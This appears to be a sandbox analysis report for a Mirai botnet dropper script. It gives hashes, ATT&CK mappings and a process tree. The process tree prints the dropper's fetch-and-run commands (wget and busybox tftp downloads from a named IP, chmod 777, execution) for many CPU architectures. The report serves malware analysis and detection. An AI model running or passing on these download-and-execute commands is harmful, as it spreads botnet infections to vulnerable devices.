mirai | 21bb5cc4f1d06276094476140eef9031cc341138920876d4f3c8fdeca82fe845

Analysis

max time kernel
149s
max time network
151s
platform
debian-9_armhf
resource
debian9-armhf-20260513-en
resource tags

arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
11/11/2026, 06:35

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
sample.sh
Size 1KB
Sample261111-hcftvafa99
SHA256 21bb5cc4f1d06276094476140eef9031cc341138920876d4f3c8fdeca82fe845
MD5 7dcb7e6307cbe55769f3e674792327a5
SHA1 8f3b796a9762a2166342dc8662e82fb10b1b9447
SHA512 2f9a5b4c33cf5316eb190d0bad3a68244859ba2173bf9479ddf946007ccf2c0c4244a0c2c1341edad202578793ab29162470e4d55af4f5b39df5d2805d31b123
TLSH
T146217FE9FEB3D531370C492DF55A067DBBC78E3D09F83946905AAC90561C56C9018B37
MD5 SHA1 SHA512 TLSH

Score

10^/10

botnet defense_evasion discovery mirai

Malware Config

Extracted

Family

mirai

37.16.74.169

Signatures

Family: Mirai
Mirai is a prevalent Linux malware infecting exposed network devices.
botnet mirai

Mirai ARM payload 4 IoCs

resource	yara_rule
behavioral2/files/fstream-2.dat	family_mirai_arm
behavioral2/files/fstream-4.dat	family_mirai_arm
behavioral2/files/fstream-6.dat	family_mirai_arm
behavioral2/files/fstream-8.dat	family_mirai_arm

File and Directory Permissions Modification 1 TTPs 10 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
680	chmod
766	chmod
777	chmod
785	chmod
793	chmod
798	chmod
803	chmod
808	chmod
813	chmod
820	chmod

Executes dropped EXE 10 IoCs

ioc	pid	Process
/tmp/d	683	sample.sh
/tmp/d	767	sample.sh
/tmp/d	778	sample.sh
/tmp/d	786	sample.sh
/tmp/d	794	sample.sh
/tmp/d	799	sample.sh
/tmp/d	804	sample.sh
/tmp/d	809	sample.sh
/tmp/d	814	sample.sh
/tmp/d	821	sample.sh

System Network Configuration Discovery 1 TTPs 2 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
792	wget
838	busybox

Writes file to tmp directory 17 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/d	wget
File opened for modification	/tmp/d	wget
File opened for modification	/tmp/d	wget
File opened for modification	/tmp/d	wget
File opened for modification	/tmp/d	busybox
File opened for modification	/tmp/d	busybox
File opened for modification	/tmp/d	busybox
File opened for modification	/tmp/d	wget
File opened for modification	/tmp/d	wget
File opened for modification	/tmp/d	wget
File opened for modification	/tmp/d	wget
File opened for modification	/tmp/d	wget
File opened for modification	/tmp/d	busybox
File opened for modification	/tmp/atomic72	d
File opened for modification	/tmp/atomic72	d
File opened for modification	/tmp/d	wget
File opened for modification	/tmp/d	busybox

/tmp/sample.sh
/tmp/sample.sh
1⤵
- Executes dropped EXE
PID:655
- /bin/rm
  rm -f d atomic72
  2⤵
  PID:657
- /usr/bin/wget
  wget -q -O d http://37.16.74.169/dlr.arm7
  2⤵
  - Writes file to tmp directory
  PID:660
- /bin/chmod
  chmod 777 d
  2⤵
  - File and Directory Permissions Modification
  PID:680
- /tmp/d
  ./d
  2⤵
  - Writes file to tmp directory
  PID:683
- /bin/sh
  sh d
  2⤵
  PID:764
- /usr/bin/wget
  wget -q -O d http://37.16.74.169/dlr.arm6
  2⤵
  - Writes file to tmp directory
  PID:765
- /bin/chmod
  chmod 777 d
  2⤵
  - File and Directory Permissions Modification
  PID:766
- /tmp/d
  ./d
  2⤵
  - Writes file to tmp directory
  PID:767
- /bin/sh
  sh d
  2⤵
  PID:775
- /usr/bin/wget
  wget -q -O d http://37.16.74.169/dlr.arm
  2⤵
  - Writes file to tmp directory
  PID:776
- /bin/chmod
  chmod 777 d
  2⤵
  - File and Directory Permissions Modification
  PID:777
- /tmp/d
  ./d
  2⤵
  PID:778
- /bin/sh
  sh d
  2⤵
  PID:783
- /usr/bin/wget
  wget -q -O d http://37.16.74.169/dlr.arm5
  2⤵
  - Writes file to tmp directory
  PID:784
- /bin/chmod
  chmod 777 d
  2⤵
  - File and Directory Permissions Modification
  PID:785
- /tmp/d
  ./d
  2⤵
  PID:786
- /bin/sh
  sh d
  2⤵
  PID:791
- /usr/bin/wget
  wget -q -O d http://37.16.74.169/dlr.mips
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:792
- /bin/chmod
  chmod 777 d
  2⤵
  - File and Directory Permissions Modification
  PID:793
- /tmp/d
  ./d
  2⤵
  PID:794
- /bin/sh
  sh d
  2⤵
  PID:796
- /usr/bin/wget
  wget -q -O d http://37.16.74.169/dlr.mpsl
  2⤵
  - Writes file to tmp directory
  PID:797
- /bin/chmod
  chmod 777 d
  2⤵
  - File and Directory Permissions Modification
  PID:798
- /tmp/d
  ./d
  2⤵
  PID:799
- /bin/sh
  sh d
  2⤵
  PID:801
- /usr/bin/wget
  wget -q -O d http://37.16.74.169/dlr.x86
  2⤵
  - Writes file to tmp directory
  PID:802
- /bin/chmod
  chmod 777 d
  2⤵
  - File and Directory Permissions Modification
  PID:803
- /tmp/d
  ./d
  2⤵
  PID:804
- /bin/sh
  sh d
  2⤵
  PID:806
- /usr/bin/wget
  wget -q -O d http://37.16.74.169/dlr.ppc
  2⤵
  - Writes file to tmp directory
  PID:807
- /bin/chmod
  chmod 777 d
  2⤵
  - File and Directory Permissions Modification
  PID:808
- /tmp/d
  ./d
  2⤵
  PID:809
- /bin/sh
  sh d
  2⤵
  PID:811
- /usr/bin/wget
  wget -q -O d http://37.16.74.169/dlr.sh4
  2⤵
  - Writes file to tmp directory
  PID:812
- /bin/chmod
  chmod 777 d
  2⤵
  - File and Directory Permissions Modification
  PID:813
- /tmp/d
  ./d
  2⤵
  PID:814
- /bin/sh
  sh d
  2⤵
  PID:816
- /usr/bin/wget
  wget -q -O d http://37.16.74.169/dlr.m68k
  2⤵
  - Writes file to tmp directory
  PID:817
- /bin/chmod
  chmod 777 d
  2⤵
  - File and Directory Permissions Modification
  PID:820
- /tmp/d
  ./d
  2⤵
  PID:821
- /bin/sh
  sh d
  2⤵
  PID:823
- /bin/busybox
  busybox tftp -g -r dlr.arm7 -l d 37.16.74.169
  2⤵
  - Writes file to tmp directory
  PID:824
- /bin/busybox
  busybox tftp -g -r dlr.arm6 -l d 37.16.74.169
  2⤵
  - Writes file to tmp directory
  PID:827
- /bin/busybox
  busybox tftp -g -r dlr.arm -l d 37.16.74.169
  2⤵
  - Writes file to tmp directory
  PID:830
- /bin/busybox
  busybox tftp -g -r dlr.arm5 -l d 37.16.74.169
  2⤵
  - Writes file to tmp directory
  PID:833
- /bin/busybox
  busybox tftp -g -r dlr.mips -l d 37.16.74.169
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:838

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

atomic72

Path /tmp/atomic72
Size 709KB
SHA256 809bc98cc65b599e4c11db17d6cc5cdeb3a0994f8d0b7ab92198f859b237ca87
MD5 069085d51fca3feba775ba40c479a8ea
SHA1 247ff45599d16e8e8034dda6133c27299706c6ce
SHA512 a5fbe981744ed99ff43999ae1487d0ad4baa36b87823cd9c3e37a66530713a88cd2854d3e9e04311d428acff3d52cd582cd4b7f41f9e23e2fce6d122f4d4c1b7
SSDEEP 12288:qZYangXYbMFCHz35jMXc5TqcHFj6nAaw244W/vund9BY/IWbmsv0zS:SYWgwPaXQT9vudotbH0zS
TLSH
T1FBF44B5AED404B53E4D11BBAFB6F835533235779E3DFB20699089B743BC269A4F2A100
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

atomic72

Path /tmp/atomic72
Size 575KB
SHA256 c553d9cf07d398a93ef8f5d511aa899b57dc026a62254ec0924a2a1208e616e4
MD5 52ffda89b3f383b191927874c68ae993
SHA1 fea03187532d0c33df22d33bfd0a400ea363f055
SHA512 59f6f1eb2e1a71df182b02419612187f8fe97016f3348ce42b8e0ba05030fd3aea146bf0a72ff0db00aac38960abf658c1ad5d338c436e55df46a8d0dc31a436
SSDEEP 12288:meYB0B6xht4PVBjIyyMn9ECImX7zakvOIdtZO:BYSBi1yritO4Idt
TLSH
T15AC45B66FC809B91D5D15ABEFF1E824933131B78E2DF72139E045B246BD68AA0F3E504
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

atomic72

Path /tmp/atomic72
Size 575KB
SHA256 92cfc666fc5c95c2f7f7edb2ba6949b06760e19df37ad6bc8f4d7d4cc4bae440
MD5 34ff5d7e2f8e8e1aecff1b9a4e85dd10
SHA1 5a53f380ad76729dd2de36816ec27ff7ac0ca326
SHA512 8eb0e599bad2cab8d1f87b5800d83d36f33787cd0eee76cd397ef8d10f277c007fbbe9e4d6c23a9c9b58c3a316fe1045aedb616889358c5e79f48859c2390bb4
SSDEEP 12288:meYB0B6xht4PVBjIyyMn9ECImX7zakvOIdtZO:BYSBi1yritO4Idt
TLSH
T1BEC45B66FC809B91D5D15ABEFF1E824933131B78E2DF72139E045B246BD68AA0F3E504
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

atomic72

Path /tmp/atomic72
Size 575KB
SHA256 0d9e9baf458facd4faedf6f52d7777bec5a308fbd9688d858ef8f16bc4b4ea4c
MD5 09ac31b1881707a1e35849b7eaec147a
SHA1 e61500e168757c6a7c09ff3ea0f0245f5c82bec3
SHA512 707c718f6b69edab7cb597012acea00f04c0e39b9f84eed69ce34cff72174462c2e27ef8cdc1a986e3fe88122a5629739f639bdebd7a2e08cefcef1c127c24e4
SSDEEP 12288:meYB0B6xht4PVBjIyyMn9ECImX7zakvOIdtZO:BYSBi1yritO4Idt
TLSH
T1E6C45B66FC809B91D5D15ABEFF1E824933131B78E2DF72139E045B246BD68AA0F3E504
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Path /tmp/d
Size 1KB
SHA256 f73ab4481372d18c1f5e970f9e00fe279052aba155e03baa74b0dde939c6dafd
MD5 2b2ae817f20dcd2d66e08d994a835d4c
SHA1 9587c27f939d96bcf75e449e9eab0a0c194977b7
SHA512 b226db76c8a9a62e351545e67632ca6ecbf32c68e30c2dcf7e4c52bbbed2dacbc8f56783a4ab9da451004eb2b31e18c097415e0d2fea70433b5393e5db990598
TLSH
T1BA31EEE4A2D68D6CC9F542FEBD56031633749F05E182B222D32C67A0AC1ED3DDE1644B
MD5 SHA1 SHA512 TLSH

Submit Download

Path /tmp/d
Size 2KB
SHA256 ce8e10e4d626e07643e9c790231f3b65a8e96062df6b5ba2b5772eb7891bbb9e
MD5 f80bcf630aa752626d7a5fcc731be976
SHA1 bfa5bb1e6a40c2cce010924f1bc72a907171c54a
SHA512 50116f649b711945b2db611a837fdcfb150c9c082c923350c0208c30a2094c008cbfebef8cc54497381060006e1c6f74e710093e9984ee9b1e2fdf791a88ae14
TLSH
T14841440ED35D695FEDBB4178510B03272420AA1BE4634223E7754DBBAD3B294451748F
MD5 SHA1 SHA512 TLSH

Submit Download

Path /tmp/d
Size 1KB
SHA256 5416f377065566983f33f8fc4de424019b0fe6d8f8bbdb53c1d2bc325e185016
MD5 df3e4c8b13915998d75eb5ebb5bb2507
SHA1 e34c0b1307a37f4661f7ba1fdc3efc9a4030030f
SHA512 6a7cd799b6936c37f0d55eabf3774e4220b840d9cbd4cf2d770411fb4693da46d93e3127a36dc736b2d9174697f3d172e492932c5b2895852bb0b8a3e09831f2
TLSH
T16A31F0A0A5D95DBCC8F441BE7D96071473745F44E146B222E218ABA0BC2EE7C9E1B04A
MD5 SHA1 SHA512 TLSH

Submit Download

Path /tmp/d
Size 1KB
SHA256 cb634f1172d14123f90c140b5fb1a2e0e9f18faabb346fec60e70c8c286a2eca
MD5 b6b3f3ca7214bae8f853fcfc63cd80db
SHA1 9668652705ae96d23900619598d73e699d036d1b
SHA512 88ab92a1b97b12f12315256c0a4cd85f74d6a977a71029210998f21159f7b8ac06e2b3b5b98e9ac0e41f4424ba686f333803e157ae28d30c2cbaf501f9028f43
TLSH
T121211229ABD34D0ACDB407B7EDCB6710A3219F8A855DB613F32107911C6E2241F120D6
MD5 SHA1 SHA512 TLSH

Submit Download

Path /tmp/d
Size 1KB
SHA256 9ad039700ed8b70de6618c1b5cf3af41f86a328dc636a47d25b37466fc5e2374
MD5 89d04a631589fe092ed43f6a019d685a
SHA1 d4b5aa83830e2ec1fccf246e4e0ae4a630e061be
SHA512 fef70911f5852d1a91d1f88490dc6df4ee38046c05d862703665af6348929977dadd4b95382193d8dd5000e42e7059f301c1ac08764253501538f64d8131296c
TLSH
T11921F02AA7D64D5ACCA507B7DCCB6710A321AF85855EBB17F3251B826C6E2350F12086
MD5 SHA1 SHA512 TLSH

Submit Download

Path /tmp/d
Size 2KB
SHA256 8856f5aaabb1be0d73757feb386bb63efb29b7cd4662eb0a7bb51331152f9fc3
MD5 b8b06021c7cdbea6f2e2faf8b0f7b855
SHA1 0856bce8ceafe484c18c490c0a201b531338bc32
SHA512 28c9408c0b5420ed6351a3c5bda3a1aea4a7185db969ac8107cc0ca72ba90845a51730eec9d01e1581de6013503b47783ab9f81518464d7158213fd35e2cecfe
TLSH
T19341038D5B315FF8F195E83C8B33073967AA560887D0424AE1BCE5906E9430E449F7EA
MD5 SHA1 SHA512 TLSH

Submit Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads